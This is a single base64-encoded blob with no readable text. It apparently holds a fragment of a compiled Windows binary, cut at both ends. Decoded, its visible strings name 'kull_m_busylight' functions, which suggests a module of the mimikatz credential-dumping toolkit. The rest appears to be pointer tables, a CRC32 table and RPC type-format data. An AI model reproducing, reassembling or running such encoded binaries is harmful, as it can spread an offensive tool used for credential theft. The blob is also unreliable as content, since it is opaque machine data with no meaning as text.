AgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEIAdQBzAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAZABlAHYAaQBjAGUASABhAG4AZABsAGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABTAGUAdAB1AHAARABpAEcAZQB0AEMAbABhAHMAcwBEAGUAdgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABXAHIAaQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFMAaQB6AGUAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZABlACAAKABzAGkAegAgAD0AIAAlAHUALAAgAG0AYQB4ACAAPQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcw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BiAP//FgMMAEtcRlwEAAQAEgglXEZcCAAIABIIJVxbCAgIXFsbAwwAGQAAAAEAS1xISQwAAAACAAQABAASCCVcCAAIABIIJVxbTAC5/1sWAwgAS1xGXAQABAASAMj/WwgIWxYDBABLXEZcAAAAABIA3v9bCFxbEQACACsJKQAEAAEAAgAUAAEAAQAAAC4A//+3CAAAAAAQJwAAGwMEABkADAABAEtcSEkEAAAAAQAAAAAAEgglXFsIXFsaAxQAAAAMAAgINkwAyf82XFsSCCVcEgDI/xEEAgArCSlUDAABAAIABAABAAEAAAAEAP//FQMEAAhbEQACACsJKQAEAAEAAgAMAAEAAQAAAAQA//8WAwwAS1xGXAAAAAASCCVcRlwEAAQAEgglXFsICAhcWxEEAgArCSlUDAABAAIABAABAAEAAACq////EQACACsJKQAEAAEAAgAEAAEAAQAAAAQA//8WAwQAS1xGXAAAAAASCCVcWwhcWxEEAgArCSlUDAABAAIABAABAAEAAABi////EQACACsJKQAEAAEAAgAIAAEAAQAAAAQA//8WAwgAS1xGXAAAAAASCCVcWwgIWxEEAgArCSlUDAABAAIACAAEAAEAAACkAAIAAAB0AQMAAABGAv////+YAv//twgAAAAAECcAABYDHABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxGXBAAEAASCCVcWwgICAgICAhcWxsDHAAZAAAAAQBLXEhJHAAAAAUAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXFtMAH//WxoDCAAAAAgATABo/zZbEgCu/7cIAAAAABAnAAAWA2gAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcRlwQABAAEgglXEZcFAAUABIIJVxGXBgAGAASCCVcWwgICAgICAgICAhMAFHyTABN8kwASfJMAEXyWxsDaAAZAAAAAQBLXEhJaAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABJ/1saAwgAAAAIAEwAMv82WxIAnv+3CAAAAAAQJwAAFgNsAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAgACAASCCVcRlwMAAwAEgglXEZcEAAQABIIJVxGXBQAFAASCCVcRlwYABgAEgglXFsICAgICAgICAgICEwAevFMAHbxTABy8UwAbvFcWxsDbAAZAAAAAQBLXEhJbAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABH/1saAwgAAAAIAEwAMP82WxIAnv+3CAAAAAAQJwAAFgMcAEtcRlwYABgAEgglXFsICAgICAgIXFsbAxwAGQAAAAEAS1xISRwAAAABABgAGAASCCVcW0wAx/9bGgMIAAAACABMALD/NlsSAM7/EQACACsJKQAEAAEAAgAYAAMAAQAAABAAAgAAAC4AAwAAADYA//8aAwwAAAAIADZMABP0WxEA+vAaAxQAAAAIADZMABP0WxIA8P8aAxQAAAAAAEwA5P9cWxoDGAAAAAgATADW/zZbEgBY+REAAgArCSlUDAABAAIAQAADAAEAAAAQAAIAAABKAAMAAADEAf//GgNAAAAAAABMABTwTAB88AgICAgGPlxbtwgAAAAAECcAABUDLABMAPbvTABe8FxbGwMsABkAGAABAEwA5v9cWxoDIAAAABAANggICAgGPkwAx/82XFsSAEjwEgDU/7cIAAAAABAnAAArCRkABAABAAIADAABAAEAAAAgAf//KwkZAAQAAQACACwABwABAAAATgACAAAAXAADAAAA4AAEAAAA6gAFAAAA5AAGAAAA3gAHAAAA2AD//xoDIAAAAAAACAgIBj4ICEwAjfJbGgMkAAAACAA2TADh/1sSAPD/GgMsAAAACgA2CEwA4v9cWxIAsO8WAxQAS1xGXBAAEAASAKDvWwgICAY+CFsVAQQAAgIGWxwBAgAXVQIAAQAXVQAAAQAFWxYDCABLXEZcBAAEABIA4P9bBgYIXFsWAwgAS1xGXAAAAAASAPL/RlwEAAQAEgDS/1sICFsaAyAAAAASADZMAKf/BgYGBjY2CAI/XFsSAC7vEgDE/xIA3v8aAywAAAAAAAgICEwAz/9bGgMQAAAAAAAICAgGPlsWAwwAS1xGXAgACAASANb+WwgICFxbGwMsABkADAABAEwAZv5cWxoDFAAAAAwANgg2TACR/jZcWxIAzO4SAJD+EgDU/xEAAgArCSkABAABAAIACAABAAEAAAAEAP//FQMIAAgIXFsRAAIAKwkpAAQAAQACACgAAgABAAAACgACAAAAHAD//xYDGABLXEZcBAAEABIIJVxbCAhMAOntWxYDKABLXEZcBAAEABIIJVxGXBwAHAASCCVcRlwgACAAEgglXFsICEwAve0ICAgIWxEEAgArCSlUDAABAAIABAAPAAAAAABYAAEAAADsAAIAAAD0AAMAAAA8AQQAAAA2AQUAAAB+AQYAAADIAQcAAABAAggAAABmAgkAAACeAgoAAADeAvr///8yA/v///90A/z///9yA/7///8EAP//EgBkABYHgABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxbCAgICAgITAAN7UwACe1MAAXtTAAB7QsLTADV/kwA0f4ICFsbB4AACQD4/wEATACi/1xbGAcIAOz/S1xISYAACAAEAAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcWwgIWxIAAgAXBwgAFO4ICFxbEgAwABYHMABLXEZcAAAAABIIJVxbCAhMAGH+TACD7AsLWxsHMAAJAPj/AQBMANb/XFsYBwgA7P9LXEhJMAAIAAEACAAIABIIJVxbCAhbEgAwABYDJABLXEZcAAAAABIIJVxbCEwAOuxMABD+CAhcWxsDJAAJAPj/AQBMANb/XFsYAwgA7P9LXEhJJAAIAAEACAAIABIIJVxbCAhbEgBAABoDRAAAABYATADQ/QgIDQg2NjZMAOvrTADn61sSCCVcEgglXBIIJVwhAwAACQD8/wEA/////wAATADG/1xbGgMMAOb/AABMAJL9CFsSAFAAFgdQAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAwADAAUAFD1WwgICAhMAF/9TABb/QhMAFb9TAB460ALC1sbB1AACQD4/wEATAC2/1xbGAcIAOz/S1xISVAACAADAAgACAASCCVcDAAMABIIJVwUABQAFAD+9FsICFsSACAAFQcgAEwALOsLTAAB/VsbByAACQD4/wEATADm/1xbFwcIAOz/CAhcWxIAMAAaBygAAAAOAEwA/OoLTADR/DZAWxIIJVwhBwAACQD4/wEA/////wAATADW/1xbGgcIAOb/AAAICFxbEgA4ABoHOAAAABIANghMAJb8TAC46gsLNkBcWxIIJVwSCCVcIQcAAAkA+P8BAP////8AAEwAzv9cWxoHCADm/wAACAhcWxIATAAaB1gAAAAeADY2CDZMAE78TABK/AhMAEX8TABn6kALCzZAXFsSCCVcEgglXBQAFvQSCCVcIQcAAAkA+P8BAP////8AAEwAuv9cWxoHCADm/wAACAhcWxIAOAC3CAAAAAAAAQAAGgcoAAAADAA2CAgICAgLCEBbEgglXCEHAAAJAPj/AQD/////AABMANj/XFsaBwgA5v8AAEwAwP8IWxIAYOsSACwAtwgAAAAAECcAABUHMAALCAhMAMnpCwgIXFsbBzAACQD4/wEATADk/1xbGgcIAOz/AABMAMz/CFsRAAIAKwkpAAQAAQACADAAAQABAAAARgD//7cIAAAAAAABAAC3CAAAAAAAAQAAtwgAAAAAAAEAABsBAgAZABAAAQAFWxsBAgAZABgAAQAFWxsBAgAZACAAAQAFWxoDMAAAABgACDY2NkwAsP82TAC1/zZMALr/NjY2WxIIJVwSCCVcFAglXBIAsP8SALj/EgDA/xIIJVwSCCVcEQQCACsJKVQMAAEAAgAEAAEAAQAAAKT0//8RAAIAKwkpAAQAAQACAAgAAQABAAAAJAD//7cIAQAAABAnAAAhAwAAGQAAAAEA/////wAATAC48FxbGgMIAAAACABMANb/NlsSANr/EQQCACsJKVQMAAEAAgAIAAEAAQAAACQA//+3CAAAAAAQJwAAIQMAABkAAAABAP////8AAEwA4vBcWxoDCAAAAAgATADW/zZbEgDa/xEAAgArCSkABAABAAIAGAABAAEAAAAEAP//FgMYAEtcRlwAAAAAEQCy6FsITAAq6AhbEQACACsJKQAEAAEAAgAsAAEAAQAAAAoA//8dABAAAlsWAywAS1xGXBQAFAASAHroRlwYABgAEgBs6VtMAOnnCAgITADW/1xbEQQCACsJKVQMAAEAAgAMAAEAAQAAAB4A//+3CAAAAAAAAKAAGwMQABkABAABAEwArudcWxoDDAAAAAoACEwA2/82XFsSAN7/EQACACsJKQAEAAEAAgAQAAEAAQAAAC4A//+3CAEAAAAQJwAAGwMEABkABAABAEtcSEkEAAAAAQAAAAAAEgglXFsIXFsaAxAAAAAKADZMAMv/NghbEgglXBIAyv8RBAIAKwkpVAwAAQACAAwAAQABAAAAHgD//7cIAAAAABAnAAAbAwgAGQAAAAEATADk+FxbGgMMAAAACgBMANz/NghcWxIA3v8RAAIAKwkpAAQAAQACAAQAAQABAAAAjPL//xEEAgArCSlUDAABAAIABAABAAEAAABy8v//EQACACsJKQAEAAEAAgAYAAEAAQAAAAQA//8WAxgAS1xGXBQAFAARABjnWwhMAJDmCFsRBAIAKwkpVAwAAQACAAQAAQABAAAAJvL//xEAAgArCSkABAABAAIAGAABAAEAAAAEAP//FgMYAEtcRlwUABQAEgglXFsITABE5ghbEQQCACsJKVQMAAEAAgAMAAEAAQAAAAQA//8VAwwACAgIWxEAAgArCSkABAABAAIACAABAAEAAAAEAP//FgMIAEtcRlwAAAAAEgglXEZcBAAEABIIJVxbCAhbEQQCACsJKVQMAAEAAgAQAAEAAQAAABoA//+3CAAAAAAABAAAGwECABkACAABAAVbGgMQAAAACgA2NkwA3v82WxIIJVwSCCVcEgDa/xEAAgArCSkABAABAAIADAABAAEAAAAOAP//twgAAAAA//8AABoDDAAAAAoANkwA6/82XFsSCCVcEgCi6REEAgArCSlUDAABAAIABAABAAEAAAD48P//EQACACsJKQAEAAEAAgAEAAEAAQAAAFLx//8RBAIAKwkpVAwAAQACAAwAAQABAAAADgD//7cIAAAAAP//AAAaAwwAAAAKAAhMAOv/NlxbEgA26REAAgArCSkABAABAAIABAABAAEAAACM8P//EQQCACsJKVQMAAEAAgAgAAEAAQAAADoA//+3CAAAAAAABAAAtwgAAAAAAACgALcIAAAAAAAAoAAbAAEAGQAQAAEAAlsbAAEAGQAYAAEAAlsaAyAAAAAUAAg2TAC+/zZMAMP/NkwAyP82WxIIJVwSACruEgDE/xIAzP8RAAIAKwkpAAQAAQACAAwAAQABAAAADgD//7cIAQAAAAAEAAAaAwwAAAAKAAhMAOv/NlxbEgBq6BEEAgArCSlUDAABAAIACAABAAEAAAAEAP//FgMIAEtcRlwEAAQAEgglXFsICFsAAHhCBBAQiwAQNosAEEwoBhAAAAAAAAAAAAAAAAAAAAAAgh0EEAEAAAAAAAYAAAAAAFMCAAgAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAABgAMgAAAEQAQABHBQgHAQABAAAACgAEAAIACwAIABgAEyAMAEAAEAEQAEgAcAAUAAgAAEgAAAAAAQAIADDgAAAAADgAQABEAggBAAAAAAAAGAEAAFAAcAAEAAgAAEgAAAAAAgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAFwAcAAMAAgAAEgAAAAAAwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMgAUCEMAAgAEwEQAPgCcAAUAAgAAEgAAAAABAAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMQFcAAMAAgAAEgAAAAABQAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAAIGcAAMAAgAAEgAAAAABgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAJAGcAAMAAgAAEgAAAAABwAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMoGcAAMAAgAAEgAAAAACAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAA4HUCEMAAgAE2EQAG4HcAAUAAgAAEgAAAAACQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMAHUCEMAAgAE2EQACoIcAAUAAgAAEgAAAAACgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAKYIUCEMAAgAE0EQAF4JcAAUAAgAAEgAAAAACwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAK4JUCEMAAgAEwEQAPIJcAAUAAgAAEgAAAAADAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGAKUCEMAAgAEyEQALwKcAAUAAgAAEgAAAAADQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAEgLUCEMAAgAEyEQAKYLcAAUAAgAAEgAAAAADgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMYLUCEMAAgAEyEQAAAMcAAUAAgAAEgAAAAADwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIABoMUCEMAAgAEyEQAEgMcAAUAAgAAEgAAAAAEAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIMUCEMAAgAEyEQAJAMcAAUAAgAAEgAAAAAEQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIPUCEMAAgAEwEQAMwPcAAUAAgAAEgAAAAAEgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIANARcAAMAAgAAEkAAAAAEwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAPIRUCEMAAgAEyEQAFoScAAUAAgAAEkAAAAAFAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGwWUCEMAAgAEyEQAAYXcAAUAAgAAEgAAAAAFQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIACAXUCEMAAgAEyEQAGwXcAAUAAgAAEgAAAAAFgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIALgXcAAMAAgAAEgAAAAAFwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAOoXUCEMAAgAE0EQADIYcAAUAAgAAEgAAAAAGAAYADBAAAAAACwA